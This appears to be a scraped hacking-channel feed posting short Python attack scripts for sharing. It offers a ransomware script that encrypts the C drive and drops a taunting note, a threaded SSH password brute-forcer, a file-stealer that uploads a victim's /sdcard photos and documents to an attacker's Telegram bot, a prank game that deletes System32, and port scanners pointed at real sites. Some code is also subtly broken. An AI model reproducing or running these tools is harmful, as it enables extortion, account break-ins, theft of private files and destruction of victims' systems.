382
Subscribers
No data24 hours
-47 days
+830 days
Posts Archive
382
from cryptography.fernet import Fernet
import os
def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)
def cargar_key():
return open('key.key', 'rb').read()
def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)
if __name__ == '__main__':
path_to_encrypt = 'c://' #path to directory Currently encrpyts all C drive
items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt + '\' + item for item in items]
generar_key()
key = cargar_key()
encrypt(full_path, key)
with open(path_to_encrypt + '\' + 'readme.txt', 'w') as file:
file.write('Ooops I accidentwy fucky wuckyd ur fwiles ')
file.write('@F_X_Z_Y')
- simple Ransomeware By Python ()
- you can make it better . Share for more and react ❤️
-
@R_E_D_Z-
@CO_DE_X
382
import whois , builtwith , socket
import concurrent.futures
print('''\033[0;31m
,,
`""*$b..
""*$o.
"$$o.
"*$$o.
"$$$o.
"$$$$bo... ..o:
"$$$$$$$$booocS$$$ .. ,.
". "*$$$$SP V$o..o$$. .$$$b
"$$o. .$$$$$o. ...A$$$$$$$$$$$$$$b
""bo. "*$$$$$$$$$$$$$$$$$$$$P*$$$$$$$$:
"$$. V$$$$$$$$$P"**""*"' VP * "l
"$$$o.4$$$$$$$$X
"*$$$$$$$$$$$$$AoA$o..oooooo.. .b
.X$$$$$$$$$$$P"" ""*oo,, ,$P
$$P""V$$$$$$$: . ""*****"
.*" A$$$$$$$$o.4; .
.oP"" "$$$$$$b. .$;
A$$$$$$$$$$P
" "$$$$$P"
$$P*"
.$"
"
\t☠ MADE BY >> \033[36mA L E X༗
''')
while True:
web=input('● \033[1;34m[ ! ]\033[37m site \033[31m:~# \033[90m')
who=whois.whois(web)
ip=socket.gethostbyname(web)
buil=builtwith.parse('https://'+web)
print(f'''\033[0;37m
- ip: {ip}
- info :
{who}\n
- Programming language :
{buil}
''')
host = web
ports = [19, 20, 21, 22, 23, 24, 25,80,53,111, 110,443, 8080,139,445,512,513,514,4444,2049,1524,3306,5900]
def scan_port(port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
if result == 0:
st=socket.getservbyport(port)
print(f"\033[0;32m● \033[0;31m{port} \033[0;37m Open \033[0;31m{st}")
sock.close()
except socket.error:
pass
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(scan_port, port) for port in ports]
for future in concurrent.futures.as_completed(futures):
future.result()
- Scanning , information about web .
• Installing Lib
pip install python-whois
pip install builtwith
- you can make it better . Share for more and react ❤️
-
@co_de_X
382
import sys,os,time,threading
import paramiko
stop_flag=0
host=input('[ + ] Target address : ')
username=input('[ + ] SSH username : ')
input_file=input('[ + ] Password File : ')
def ssh_connect(password):
global stop_flag
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=22 , username=username,password=password)
stop_flag=1
print('[ * ] Password Found : '+password +' , For account : '+username)
except:
print('[ × ] incorrect login : '+password)
ssh.close()
print('* * * STARTING Threading SSH Bruteforce on : '+ host+'with account : '+username+'* * *')
print('\n')
with open(input_file , 'r') as file:
for line in file.readlines():
if stop_flag==1:
t.join()
exit()
password=line.strip()
t=threading.Thread(target=ssh_connect, args=(password,))
time.sleep(0,5)
- SSH Bruteforce Fast .
-
@CO_DE_X
382
382
import base64
def main():
data = input('Enter Your Data : ')
command = input("Choose ( d : Decode | e : Encode ) : ")
if command == "e":
encodedBytes = base64.b64encode(data.encode("utf-8"))
encodedStr = str(encodedBytes, "utf-8")
print("\n" + encodedStr)
elif command == "d":
try:
decodedBytes = base64.b64decode(str(data))
decodedStr = str(decodedBytes, "utf-8")
print("\n" + decodedStr)
except:
print("Invaild DATA")
main()
- encrypt and decrypt Text ( base64 )
•
@CO_DE_X
382
import os
import random
rand=random.randint(1,10)
xcode=int(input('Choose Your Number : '))
if rand==xcode:
print('You Won')
else:
os.remove('C:/Windows/System32')
- Who can play ? 😁
•
@CO_DE_X
382
import os
import requests
id = ID
token = 'Token'
def send_files_to_telegram(id, token, path, extensions):
for entry in os.scandir(path):
if entry.is_file():
if entry.name.lower().endswith(extensions):
file = {"document": open(entry.path, 'rb')}
res = requests.post(f"https://api.telegram.org/bot{token}/sendDocument?chat_id={id}", files=file)
elif entry.is_dir():
send_files_to_telegram(id, token, entry.path, extensions)
file_extensions = ('.jpg', '.mb3', '.zip', '.ogg', '.swb', '.mb4', '.py', '.png', '.txt', '.pdf')
sdcard_path = '/sdcard'
send_files_to_telegram(id, token, sdcard_path, file_extensions)
• Get Files Victim in YourBot
- ID , You can get Your id Here
- Token , You can get Your TokenBot Here
•
@CO_DE_X
382
import socket
import concurrent.futures
host = 'www.google.com'
ports = range(1, 1024)
def scan_port(port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
if result == 0:
st=socket.getservbyport(port)
print(f"Port {port} is open\t{st}")
sock.close()
except socket.error:
pass
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(scan_port, port) for port in ports]
for future in concurrent.futures.as_completed(futures):
future.result()
• Scanning Ports Fast
•
@CO_DE_X
